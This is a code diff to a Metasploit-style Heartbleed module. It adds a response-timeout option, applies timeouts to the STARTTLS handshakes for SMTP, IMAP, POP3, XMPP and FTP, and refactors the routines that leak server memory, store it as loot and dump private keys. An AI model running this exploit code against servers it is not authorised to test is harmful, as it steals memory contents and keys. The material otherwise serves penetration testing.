@@ -110,7 +110,8 @@ def initialize
110
110
'juan vazquez' , # Msf module
111
111
'Sebastiano Di Paola' , # Msf module
112
112
'Tom Sellers' , # Msf module
113
- 'jjarmoc' #Msf module; keydump, refactoring..
113
+ 'jjarmoc' , #Msf module; keydump, refactoring..
114
+ 'Ben Buchanan' #Msf module
114
115
] ,
115
116
'References' =>
116
117
[
@@ -140,7 +141,8 @@ def initialize
140
141
OptEnum . new ( 'TLS_VERSION' , [ true , 'TLS/SSL version to use' , '1.0' , [ 'SSLv3' , '1.0' , '1.1' , '1.2' ] ] ) ,
141
142
OptInt . new ( 'MAX_KEYTRIES' , [ true , 'Max tries to dump key' , 10 ] ) ,
142
143
OptInt . new ( 'STATUS_EVERY' , [ true , 'How many retries until status' , 5 ] ) ,
143
- OptRegexp . new ( 'DUMPFILTER' , [ false , 'Pattern to filter leaked memory before storing' , nil ] )
144
+ OptRegexp . new ( 'DUMPFILTER' , [ false , 'Pattern to filter leaked memory before storing' , nil ] ) ,
145
+ OptInt . new ( 'RESPONSE_TIMEOUT' , [ true , 'Number of seconds to wait for a server response' , 10 ] )
144
146
] , self . class )
145
147
146
148
register_advanced_options (
@@ -167,6 +169,11 @@ def run
167
169
return
168
170
end
169
171
172
+ if response_timeout < 0
173
+ print_error ( "RESPONSE_TIMEOUT should be bigger than 0" )
174
+ return
175
+ end
176
+
170
177
super
171
178
end
172
179
@@ -186,41 +193,45 @@ def peer
186
193
"#{ rhost } :#{ rport } "
187
194
end
188
195
196
+ def response_timeout
197
+ datastore [ 'RESPONSE_TIMEOUT' ]
198
+ end
199
+
189
200
def tls_smtp
190
201
# https://tools.ietf.org/html/rfc3207
191
- sock . get_once
202
+ sock . get_once ( - 1 , response_timeout )
192
203
sock . put ( "EHLO #{ Rex ::Text . rand_text_alpha ( 10 ) } \r \n " )
193
- res = sock . get_once
204
+ res = sock . get_once ( - 1 , response_timeout )
194
205
195
206
unless res && res =~ /STARTTLS/
196
207
return nil
197
208
end
198
209
sock . put ( "STARTTLS\r \n " )
199
- sock . get_once
210
+ sock . get_once ( - 1 , response_timeout )
200
211
end
201
212
202
213
def tls_imap
203
214
# http://tools.ietf.org/html/rfc2595
204
- sock . get_once
215
+ sock . get_once ( - 1 , response_timeout )
205
216
sock . put ( "a001 CAPABILITY\r \n " )
206
- res = sock . get_once
217
+ res = sock . get_once ( - 1 , response_timeout )
207
218
unless res && res =~ /STARTTLS/i
208
219
return nil
209
220
end
210
221
sock . put ( "a002 STARTTLS\r \n " )
211
- sock . get_once
222
+ sock . get_once ( - 1 , response_timeout )
212
223
end
213
224
214
225
def tls_pop3
215
226
# http://tools.ietf.org/html/rfc2595
216
- sock . get_once
227
+ sock . get_once ( - 1 , response_timeout )
217
228
sock . put ( "CAPA\r \n " )
218
- res = sock . get_once
229
+ res = sock . get_once ( - 1 , response_timeout )
219
230
if res . nil? || res =~ /^-/ || res !~ /STLS/
220
231
return nil
221
232
end
222
233
sock . put ( "STLS\r \n " )
223
- res = sock . get_once
234
+ res = sock . get_once ( - 1 , response_timeout )
224
235
if res . nil? || res =~ /^-/
225
236
return nil
226
237
end
@@ -237,15 +248,15 @@ def jabber_connect_msg(hostname)
237
248
238
249
def tls_jabber
239
250
sock . put ( jabber_connect_msg ( datastore [ 'XMPPDOMAIN' ] ) )
240
- res = sock . get
251
+ res = sock . get ( response_timeout )
241
252
if res && res . include? ( 'host-unknown' )
242
253
jabber_host = res . match ( / from='([\w .]*)' / )
243
254
if jabber_host && jabber_host [ 1 ]
244
255
disconnect
245
256
connect
246
257
vprint_status ( "#{ peer } - Connecting with autodetected remote XMPP hostname: #{ jabber_host [ 1 ] } ..." )
247
258
sock . put ( jabber_connect_msg ( jabber_host [ 1 ] ) )
248
- res = sock . get
259
+ res = sock . get ( response_timeout )
249
260
end
250
261
end
251
262
if res . nil? || res . include? ( 'stream:error' ) || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@@ -254,17 +265,17 @@ def tls_jabber
254
265
end
255
266
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
256
267
sock . put ( msg )
257
- res = sock . get
268
+ res = sock . get ( response_timeout )
258
269
return nil if res . nil? || !res . include? ( '<proceed' )
259
270
res
260
271
end
261
272
262
273
def tls_ftp
263
274
# http://tools.ietf.org/html/rfc4217
264
- res = sock . get
275
+ res = sock . get ( response_timeout )
265
276
return nil if res . nil?
266
277
sock . put ( "AUTH TLS\r \n " )
267
- res = sock . get_once
278
+ res = sock . get_once ( - 1 , response_timeout )
268
279
return nil if res . nil?
269
280
if res !~ /^234/
270
281
# res contains the error message
@@ -289,12 +300,14 @@ def run_host(ip)
289
300
end
290
301
end
291
302
292
- def bleed ( )
303
+ def bleed
293
304
# This actually performs the heartbleed portion
294
- establish_connect
305
+ connect_result = establish_connect
306
+ return if connect_result . nil?
307
+
295
308
vprint_status ( "#{ peer } - Sending Heartbeat..." )
296
309
sock . put ( heartbeat ( heartbeat_length ) )
297
- hdr = sock . get_once ( 5 )
310
+ hdr = sock . get_once ( 5 , response_timeout )
298
311
if hdr . blank?
299
312
vprint_error ( "#{ peer } - No Heartbeat response..." )
300
313
return
@@ -307,7 +320,7 @@ def bleed()
307
320
308
321
# try to get the TLS error
309
322
if type == ALERT_RECORD_TYPE
310
- res = sock . get_once ( len )
323
+ res = sock . get_once ( len , response_timeout )
311
324
alert_unp = res . unpack ( 'CC' )
312
325
alert_level = alert_unp [ 0 ]
313
326
alert_desc = alert_unp [ 1 ]
@@ -335,38 +348,43 @@ def bleed()
335
348
end
336
349
337
350
def loot_and_report ( heartbeat_data )
338
- if heartbeat_data
339
- print_good ( "#{ peer } - Heartbeat response with leak" )
340
- report_vuln ( {
341
- :host => rhost ,
342
- :port => rport ,
343
- :name => self . name ,
344
- :refs => self . references ,
345
- :info => "Module #{ self . fullname } successfully leaked info"
346
- } )
347
- if datastore [ 'MODE' ] == 'DUMP' # Check mode, dump if requested.
348
- pattern = datastore [ 'DUMPFILTER' ]
349
- if pattern
350
- match_data = heartbeat_data . scan ( pattern ) . join
351
- else
352
- match_data = heartbeat_data
353
- end
354
- path = store_loot (
355
- "openssl.heartbleed.server" ,
356
- "application/octet-stream" ,
357
- rhost ,
358
- match_data ,
359
- nil ,
360
- "OpenSSL Heartbleed server memory"
361
- )
362
- print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
363
- end
364
- vprint_status ( "#{ peer } - Printable info leaked: #{ heartbeat_data . gsub ( /[^[:print:]]/ , '' ) } " )
351
+
352
+ unless heartbeat_data
353
+ vprint_error ( "#{ peer } - Looks like there isn't leaked information..." )
354
+ return
355
+ end
356
+
357
+ print_good ( "#{ peer } - Heartbeat response with leak" )
358
+ report_vuln ( {
359
+ :host => rhost ,
360
+ :port => rport ,
361
+ :name => self . name ,
362
+ :refs => self . references ,
363
+ :info => "Module #{ self . fullname } successfully leaked info"
364
+ } )
365
+
366
+ if action . name == 'DUMP' # Check mode, dump if requested.
367
+ pattern = datastore [ 'DUMPFILTER' ]
368
+ if pattern
369
+ match_data = heartbeat_data . scan ( pattern ) . join
365
370
else
366
- vprint_error ( " #{ peer } - Looks like there isn't leaked information..." )
371
+ match_data = heartbeat_data
367
372
end
373
+ path = store_loot (
374
+ "openssl.heartbleed.server" ,
375
+ "application/octet-stream" ,
376
+ rhost ,
377
+ match_data ,
378
+ nil ,
379
+ "OpenSSL Heartbleed server memory"
380
+ )
381
+ print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
368
382
end
369
383
384
+ vprint_status ( "#{ peer } - Printable info leaked: #{ heartbeat_data . gsub ( /[^[:print:]]/ , '' ) } " )
385
+
386
+ end
387
+
370
388
def getkeys ( )
371
389
unless datastore [ 'TLS_CALLBACK' ] == 'None'
372
390
print_error ( 'TLS callbacks currently unsupported for keydumping action' ) #TODO
@@ -499,18 +517,26 @@ def establish_connect
499
517
res = self . send ( TLS_CALLBACKS [ datastore [ 'TLS_CALLBACK' ] ] )
500
518
if res . nil?
501
519
vprint_error ( "#{ peer } - STARTTLS failed..." )
502
- return
520
+ return nil
503
521
end
504
522
end
505
523
506
524
vprint_status ( "#{ peer } - Sending Client Hello..." )
507
525
sock . put ( client_hello )
508
526
509
- server_hello = sock . get
527
+ server_hello = sock . get ( response_timeout )
528
+ unless server_hello
529
+ vprint_error ( "#{ peer } - No Server Hello after #{ response_timeout } seconds..." )
530
+ disconnect
531
+ return nil
532
+ end
533
+
510
534
unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
511
535
vprint_error ( "#{ peer } - Server Hello Not Found" )
512
- return
536
+ return nil
513
537
end
538
+
539
+ true
514
540
end
515
541
516
542
def key_from_pqe ( p , q , e )
@@ -534,3 +560,4 @@ def key_from_pqe(p, q, e)
534
560
end
535
561
536
562
end
563
+
0 commit comments